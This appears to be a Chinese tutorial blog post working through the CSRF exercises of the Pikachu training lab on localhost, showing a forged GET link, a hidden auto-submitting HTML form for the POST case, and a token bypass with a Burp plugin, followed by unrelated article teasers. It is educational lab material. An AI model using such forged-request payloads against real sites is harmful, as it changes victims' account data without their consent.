pikachu靶场-CSRF
CSRF:
介绍：
Cross-site request forgery简称为"CSRF”。
在CSF的攻击场景中攻击者会伪造一个请求（这个请求一般是一个链接）
然后欺骗目标用户进行点击，用户一旦点击了这个请求，整个攻击也就完成了（本题是修改个人信息）。
所以CSRF攻击也被称为为"one click'"攻击。
1.CSRF(get)：
我们先登录lucy的账号，点击修改信息，顺便用bp抓个包。
成功抓到数据包，看到get请求：
GET /vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12345678922&add=beijing&email=lucy%40pikachu.com&submit=submit
http://127.0.0.1/pikachu//vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12345678922&add=beijing&email=lucy%40pikachu.com&submit=submit
我们把性别改成男：
http://127.0.0.1/pikachu//vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=12345678922&add=beijing&email=lucy%40pikachu.com&submit=submit若lucy此时登录了该网站，点击了我们构造的 url 就会修改个人信息。
这里也可以使用一些短链接的方式。lucy访问该网站即可修改信息。
2.CSRF(post):
这里依旧拿lucy的个人信息实验，我们点击随便修改一下个人信息，顺便bp抓包。
此时 lucy 信息：
post传参的话，需要我们自己创一个表单，进行提交。
sex=boy&phonenum=111111&add=beijing&email=lucy%40pikachu.com&submit=submit
--------------------
我们自己创一个html的文件，放到服务器上，
<html><script> <!-- 这个script是用来自动提交表单的 -->window.onload = function() {document.getElementById("submit").click();}</script> <body><form action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST"> <input type="hidden" name="sex" value="boy" /><input type="hidden" name="phonenum" value="111222" /><input type="hidden" name="add" value="beijing" /><input type="hidden" name="email" value="lucy@pikachu.com" /><input type="hidden" name="submit" value="submit" /><input id="submit" type="submit" value="Submit request" style="display:none"/> <!-- style设置为display:none起到隐藏submit按钮的作用 --></form></body>
</html> 利用phpstudy将文件路径放到pikachu目录下，访问后修过成功。
http://127.0.0.1/pikachu/srf_post.php
3.CSRF Token:
这个时候，我们可以利用 burp suite 的插件 CSRF Token Tracker 来绕过
此时lucy个人信息如下，和抓包信息。
插件信息：
修改数据包，刷新lucy的个人信息即可发现数据被更改。
相关文章：
pikachu靶场-CSRF
CSRF: 介绍： Cross-site request forgery简称为"CSRF”。 在CSF的攻击场景中攻击者会伪造一个请求（这个请求一般是一个链接） 然后欺骗目标用户进行点击，用户一旦点击了这个请求，整个攻击也就完成了࿰…...
【结合OpenAI官方文档】解决Chatgpt的API接口请求速率限制
OpenAI API接口请求速率限制 速率限制以五种方式衡量：RPM（每分钟请求数）、RPD（每天请求数）、TPM（每分钟令牌数）、TPD（每天令牌数）和IPM（每分钟图像数&#x…...
C语言实现基础数据结构——栈
目录 栈 栈的实现 数组栈 数组栈的实现 栈的初始化 栈的销毁 数据入栈 判断栈是否为空 数据出栈 获取栈顶元素 获取栈内数据个数 项目实现 栈的基础练习 有效的括号 栈 栈是一种特殊的线性表，其只允许在固定的一端进行插入和删除元素操作。进行数据插入和删除操作的…...
船舶制造5G智能工厂数字孪生可视化平台，推进船舶行业数字化转型
船舶制造5G智能工厂数字孪生可视化平台，推进船舶行业数字化转型。随着数字化时代的到来，船舶行业正面临着前所未有的机遇与挑战。为了适应这一变革，船舶制造企业需要加快数字化转型的步伐，提高生产效率、降低成本并增强市场竞争力…...
【网络编程】okhttp深入理解
newCall 实际上是创建了一个 RealCall 有三个参数：OkHttpClient（通用配置，超时时间等） Request(Http请求所用到的条件，url等) 布尔变量forWebSocket（webSocket是一种应用层的交互方式，可双向交互…...
大功率厚膜电阻器制造 – 优化性能？
通过优化工业大功率电阻器制造工艺，制造商可以提高电阻器的性能和可靠性、容差、额定电压、TCR、稳定性和额定功率。 在本文中，我们将介绍工业功率电阻器的制造过程。我们讨论了材料选择和生产技术及其对性能的潜在影响。 完美的电阻器 在其整个使用寿…...
ElasticStack安装(windows)
官网 : Elasticsearch 平台 — 大规模查找实时答案 | Elastic Elasticsearch Elastic Stack(一套技术栈) 包含了数据的整合 >提取 >存储 >使用，一整套! 各组件介绍: beats 套件:从各种不同类型的文件/应用中采集数据。比如:a,b,cd,e,aa,bb,ccLogstash:…...
gitlab的使用
前一篇文章我们已经知道Git人人都是中心，那他们怎么交互数据呢？ • 使用GitHub或者码云等公共代码仓库 • 使用GitLab私有仓库 目录 一、安装配置gitlab 安装 初始化 这里初始化完成以后需要记住一个初始密码 查看状态 二、使用浏览器访问…...
基于springboot+vue的植物健康系统(前后端分离)
博主主页：猫头鹰源码 博主简介：Java领域优质创作者、CSDN博客专家、阿里云专家博主、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战，欢迎高校老师\讲师\同行交流合作 主要内容：毕业设计(Javaweb项目|小程序|Pyt…...
Python爬虫实战入门：爬取360模拟翻译(仅实验)
文章目录 需求所需第三方库requests 实战教程打开网站抓包添加请求头等信息发送请求，解析数据修改翻译内容以及实现中英互译 完整代码 需求 目标网站：https://fanyi.so.com/# 要求：爬取360翻译数据包，实现翻译功能 所需第三方库 …...
微服务-微服务API网关Spring-clould-gateway实战
1. 需求背景 在微服务架构中，通常一个系统会被拆分为多个微服务，面对这么多微服务客户端应该如何去调用呢？ 如果根据每个微服务的地址发起调用，存在如下问题： 1.客户端多次请求不同的微服务，会增加客户端…...
ECMAScript modules规范示例详解
ECMAScript modules（简称 ES modules）是JavaScript的标准模块系统。每个模块都是一个独立的JavaScript文件，可以在其中定义导出的变量、函数或类，并从其他模块中导入这些变量、函数或类。以下是ES modules规范的一些示例和详解&am…...
【OpenFeign常用配置】
OpenFeign常用配置 快速入门：1、引入依赖2、启用OpenFeign 实践1、引入依赖2、开启连接池功能3、模块划分4、日志5、重试 快速入门： OpenFeign是一个声明式的http客户端，是spring cloud在eureka公司开源的feign基础上改造而来。其作用及时基于…...
第2.1章 StarRocks表设计——概述
注：本篇文章阐述的是StarRocks-3.2版本的表设计相关内容。 建表是使用StarRocks非常重要的一环，规范化的表设计在某些场景下能使查询性能有数倍的提升。StarRocks的表设计涉及到的知识点主要包括数据表类型、数据分布（分区分桶及排序键&#…...
WooCommerce商品采集与发布插件
如何采集商品或产品信息，并自动发布到Wordpress系统的WooCommerce商品？ 推荐使用简数采集器，操作简单方便，且无缝衔接WooCommerce插件，快速完成商品的采集与发布。 简数采集器的智能自动生成采集规则和可视化操作功能…...
select滑动分页请求数据
需求背景 Antd 的 select 组件支滑动分页获取后端数据 实现滑动加载数据 定义变量 const allLoadedRef useRef<boolean>(true); // 是否触底 const [current, setCurrent] useState<number>(1); // 当前页 const [list, setList] useState([]); // 列表定义…...
【Go channel如何控制goroutine并发执行顺序？】
多个goroutine并发执行时，每一个goroutine抢到处理器的时间点不一致，gorouine的执行本身不能保证顺序。即代码中先写的gorouine并不能保证先执行 思路：使用channel进行通信通知，用channel去传递信息，从而控制并发执行…...
逆向分析Cobalt Strike安装后门
Cobalt Strike简介 Cobalt Strike是一款基于java的渗透测试神器，也是红队研究人员的主要武器之一，功能非常强大，非常适用于团队作战，Cobalt Strike集成了端口转发、服务扫描，自动化溢出，多模式端口监听&am…...
【嵌入式学习】QT-Day3-Qt基础
1> 思维导图 https://lingjun.life/wiki/EmbeddedNote/20QT 2> 完善登录界面 完善对话框，点击登录对话框，如果账号和密码匹配，则弹出信息对话框，给出提示”登录成功“，提供一个Ok按钮，用户点击Ok后…...
【杭州游戏业：创业热土，政策先行】
在前面的文章中，我们探讨了上海、北京、广州、深圳等城市的游戏产业现状。现在，我们切换视角，来看看另一个游戏创业热土——杭州的发展情况 最近第19届亚运会在杭州举办，本次亚运会上，电子竞技首次获准列为正式比赛项…...
使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式
一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明：假设每台服务器已…...
python打卡day49
知识点回顾： 通道注意力模块复习空间注意力模块CBAM的定义 作业：尝试对今天的模型检查参数数目，并用tensorboard查看训练过程 import torch import torch.nn as nn# 定义通道注意力 class ChannelAttention(nn.Module):def __init__(self,…...
Golang 面试经典题：map 的 key 可以是什么类型？哪些不可以？
Golang 面试经典题：map 的 key 可以是什么类型？哪些不可以？ 在 Golang 的面试中，map 类型的使用是一个常见的考点，其中对 key 类型的合法性 是一道常被提及的基础却很容易被忽视的问题。本文将带你深入理解 Golang 中…...
Unity3D中Gfx.WaitForPresent优化方案
前言 在Unity中，Gfx.WaitForPresent占用CPU过高通常表示主线程在等待GPU完成渲染（即CPU被阻塞），这表明存在GPU瓶颈或垂直同步/帧率设置问题。以下是系统的优化方案： 对惹，这里有一个游戏开发交流小组&…...
黑马Mybatis
Mybatis 表现层：页面展示 业务层：逻辑处理 持久层：持久数据化保存 在这里插入图片描述 Mybatis快速入门 
[ICLR 2022]How Much Can CLIP Benefit Vision-and-Language Tasks?
论文网址：pdf 英文是纯手打的！论文原文的summarizing and paraphrasing。可能会出现难以避免的拼写错误和语法错误，若有发现欢迎评论指正！文章偏向于笔记，谨慎食用 目录 1. 心得 2. 论文逐段精读 2.1. Abstract 2…...
华为云Flexus+DeepSeek征文｜DeepSeek-V3/R1 商用服务开通全流程与本地部署搭建
华为云FlexusDeepSeek征文｜DeepSeek-V3/R1 商用服务开通全流程与本地部署搭建 前言 如今大模型其性能出色，华为云 ModelArts Studio_MaaS大模型即服务平台华为云内置了大模型，能助力我们轻松驾驭 DeepSeek-V3/R1，本文中将分享如何…...
深度学习之模型压缩三驾马车：模型剪枝、模型量化、知识蒸馏
一、引言 在深度学习中，我们训练出的神经网络往往非常庞大（比如像 ResNet、YOLOv8、Vision Transformer），虽然精度很高，但“太重”了，运行起来很慢，占用内存大，不适合部署到手机、摄…...
全面解析数据库：从基础概念到前沿应用
在数字化时代，数据已成为企业和社会发展的核心资产，而数据库作为存储、管理和处理数据的关键工具，在各个领域发挥着举足轻重的作用。从电商平台的商品信息管理，到社交网络的用户数据存储，再到金融行业的交易记录处理&a…...
Kubernetes 节点自动伸缩（Cluster Autoscaler）原理与实践
在 Kubernetes 集群中，如何在保障应用高可用的同时有效地管理资源，一直是运维人员和开发者关注的重点。随着微服务架构的普及，集群内各个服务的负载波动日趋明显，传统的手动扩缩容方式已无法满足实时性和弹性需求。 Cluster Auto…...